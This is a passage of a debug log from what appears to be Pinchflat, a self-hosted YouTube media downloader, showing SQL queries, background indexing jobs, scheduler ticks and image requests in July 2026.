m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 20:11:37.720 [debug] QUERY OK source="tasks" db=0.0ms idle=168.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [777, 3, ~U[2026-07-24 20:11:37Z], ~U[2026-07-24 20:11:37Z]] 20:11:37.720 [info] {"args":{"id":3},"id":774,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":169618,"event":"job:stop","queue_time":617822,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 20:11:37.721 [debug] QUERY OK source="tasks" db=0.2ms idle=1.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:11:57.633 [info] {"source":"oban","duration":553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:12:00.958 [info] {"source":"oban","duration":345,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:12:27.633 [info] {"source":"oban","duration":191,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:12:57.635 [info] {"source":"oban","duration":877,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:13:00.959 [info] {"source":"oban","duration":241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:13:27.637 [info] {"source":"oban","duration":529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:13:57.638 [info] {"source":"oban","duration":527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:14:00.961 [info] {"source":"oban","duration":137,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:14:27.639 [info] {"source":"oban","duration":453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:14:57.640 [info] {"source":"oban","duration":490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:15:00.963 [info] {"source":"oban","duration":191,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:15:27.641 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:15:57.642 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:16:00.964 [info] {"source":"oban","duration":101,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:16:27.643 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:16:57.644 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:17:00.964 [info] {"source":"oban","duration":194,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:17:27.645 [info] {"source":"oban","duration":591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:17:57.646 [info] {"source":"oban","duration":502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:18:00.965 [info] {"source":"oban","duration":104,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:18:27.649 [info] {"source":"oban","duration":3074,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:18:57.651 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:19:00.967 [info] {"source":"oban","duration":143,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:19:27.652 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:19:57.653 [info] {"source":"oban","duration":448,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:20:00.968 [info] {"source":"oban","duration":111,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:20:27.654 [info] {"source":"oban","duration":550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:20:57.467 [info] GET /api/v1/videos 20:20:57.467 [debug] Processing with PinchflatWeb.Api.V1.VideoController.index/2 Parameters: %{} Pipelines: [:api_v1] 20:20:57.486 [debug] QUERY OK source="media_items" db=19.4ms idle=266.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 [] 20:20:57.546 [info] Sent 200 in 79ms 20:20:57.655 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:20:57.737 [info] GET /media/dcbf5f18-d2d2-4574-b52c-badc1a56df4c/episode_image.jpg 20:20:57.737 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "dcbf5f18-d2d2-4574-b52c-badc1a56df4c"} Pipelines: [:maybe_basic_auth] 20:20:57.738 [debug] QUERY OK source="media_items" db=0.1ms idle=296.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["dcbf5f18-d2d2-4574-b52c-badc1a56df4c"] 20:20:57.761 [info] Sent 200 in 23ms 20:21:00.969 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:21:02.732 [info] GET /media/d7148368-8a81-43d0-9042-4bae425b8c72/episode_image.jpg 20:21:02.732 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "d7148368-8a81-43d0-9042-4bae425b8c72"} Pipelines: [:maybe_basic_auth] 20:21:02.732 [debug] QUERY OK source="media_items" db=0.1ms idle=1290.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["d7148368-8a81-43d0-9042-4bae425b8c72"] 20:21:02.732 [info] Sent 200 in 461µs 20:21:03.669 [info] GET /media/755571a6-37b5-492e-bf09-cd1c4400778c/episode_image.jpg 20:21:03.669 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "755571a6-37b5-492e-bf09-cd1c4400778c"} Pipelines: [:maybe_basic_auth] 20:21:03.669 [debug] QUERY OK source="media_items" db=0.1ms idle=1227.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["755571a6-37b5-492e-bf09-cd1c4400778c"] 20:21:03.669 [info] Sent 200 in 400µs 20:21:04.530 [info] GET /media/7fd74fd9-cb8c-478d-85f2-3fd6bde91084/episode_image.jpg 20:21:04.530 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "7fd74fd9-cb8c-478d-85f2-3fd6bde91084"} Pipelines: [:maybe_basic_auth] 20:21:04.530 [debug] QUERY OK source="media_items" db=0.1ms idle=1088.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["7fd74fd9-cb8c-478d-85f2-3fd6bde91084"] 20:21:04.530 [info] Sent 200 in 468µs 20:21:05.263 [info] GET /media/50105db7-92fb-4a77-8e04-d67f5f9480eb/episode_image.jpg 20:21:05.264 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "50105db7-92fb-4a77-8e04-d67f5f9480eb"} Pipelines: [:maybe_basic_auth] 20:21:05.264 [debug] QUERY OK source="media_items" db=0.0ms idle=1594.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["50105db7-92fb-4a77-8e04-d67f5f9480eb"] 20:21:05.264 [info] Sent 200 in 321µs 20:21:06.031 [info] GET /media/47e5e455-711f-4196-8550-e3661a8637ba/episode_image.jpg 20:21:06.031 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.episode_image/2 Parameters: %{"uuid" => "47e5e455-711f-4196-8550-e3661a8637ba"} Pipelines: [:maybe_basic_auth] 20:21:06.031 [debug] QUERY OK source="media_items" db=0.1ms idle=1589.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["47e5e455-711f-4196-8550-e3661a8637ba"] 20:21:06.031 [info] Sent 200 in 453µs 20:21:14.224 [info] {"args":{"id":2},"id":775,"meta":{},"system_time":1784924474224590336,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 20:21:14.225 [debug] QUERY OK source="tasks" db=0.5ms idle=783.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:21:14.226 [debug] QUERY OK source="sources" db=0.3ms idle=783.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:21:14.226 [debug] QUERY OK source="sources" db=1.6ms idle=1008.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:21:14.226 [debug] QUERY OK source="settings" db=0.0ms idle=8.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:21:14.226 [debug] QUERY OK source="media_profiles" db=0.0ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:21:14.226 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:21:14.227 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 20:21:14.894 [debug] Media ids fetched from RSS: ["9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 20:21:14.895 [debug] QUERY OK source="media_items" db=0.2ms idle=668.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 20:21:14.895 [debug] QUERY OK source="media_items" db=0.2ms idle=669.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 20:21:14.896 [debug] QUERY OK source="tasks" db=0.0ms idle=669.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [778, 2, ~U[2026-07-24 20:21:14Z], ~U[2026-07-24 20:21:14Z]] 20:21:14.896 [info] {"args":{"id":2},"id":775,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":671723,"event":"job:stop","queue_time":122088,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 20:21:14.896 [debug] QUERY OK source="tasks" db=0.0ms idle=0.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:21:23.234 [info] {"args":{"id":1},"id":776,"meta":{},"system_time":1784924483234095126,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 20:21:23.234 [debug] QUERY OK source="sources" db=0.0ms idle=792.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:21:23.234 [debug] QUERY OK source="settings" db=0.0ms idle=792.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:21:23.234 [debug] QUERY OK source="tasks" db=0.2ms idle=792.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:21:23.234 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:21:23.234 [debug] QUERY OK source="sources" db=0.2ms idle=0.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:21:23.234 [debug] QUERY OK source="settings" db=0.2ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:21:23.235 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 20:21:23.409 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 20:21:23.410 [debug] QUERY OK source="media_items" db=0.2ms idle=175.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 20:21:23.412 [debug] QUERY OK source="media_items" db=2.0ms idle=176.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 20:21:23.413 [debug] QUERY OK source="tasks" db=0.0ms idle=178.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [779, 1, ~U[2026-07-24 20:21:23Z], ~U[2026-07-24 20:21:23Z]] 20:21:23.413 [info] 